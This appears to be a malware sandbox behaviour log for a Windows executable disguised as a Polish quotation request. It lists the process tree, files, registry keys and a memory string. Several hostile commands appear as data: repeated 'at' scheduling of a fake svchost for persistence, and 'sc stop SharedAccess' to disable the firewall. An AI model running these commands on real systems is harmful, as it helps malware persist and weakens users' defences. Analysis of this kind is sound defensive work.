Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

File created: C:\Users\user\AppData\Local\Temp\~DF7B1FDB34DDC64C15.TMP

Jump to behavior

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe
Source: unknown	Process created: C:\Windows\System\explorer.exe
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000003000000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.000000000300C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

File read: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe "C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe"
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process created: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process created: C:\Users\user\AppData\Local\icsys.icn.exe C:\Users\user\AppData\Local\icsys.icn.exe
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe c:\windows\system\explorer.exe
Source: C:\Windows\System\explorer.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe SE
Source: C:\Windows\System\spoolsv.exe	Process created: C:\Windows\System\svchost.exe c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe PR
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config Schedule start= auto
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start Schedule
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System\explorer.exe "C:\windows\system\explorer.exe" RO
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Source: C:\Windows\SysWOW64\at.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process created: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process created: C:\Users\user\AppData\Local\icsys.icn.exe C:\Users\user\AppData\Local\icsys.icn.exe	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process created: C:\Windows\System\explorer.exe c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe SE	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process created: C:\Windows\System\svchost.exe c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\System\spoolsv.exe c:\windows\system\spoolsv.exe PR	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config Schedule start= auto	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start Schedule	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: C:\Windows\SysWOW64\at.exe at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
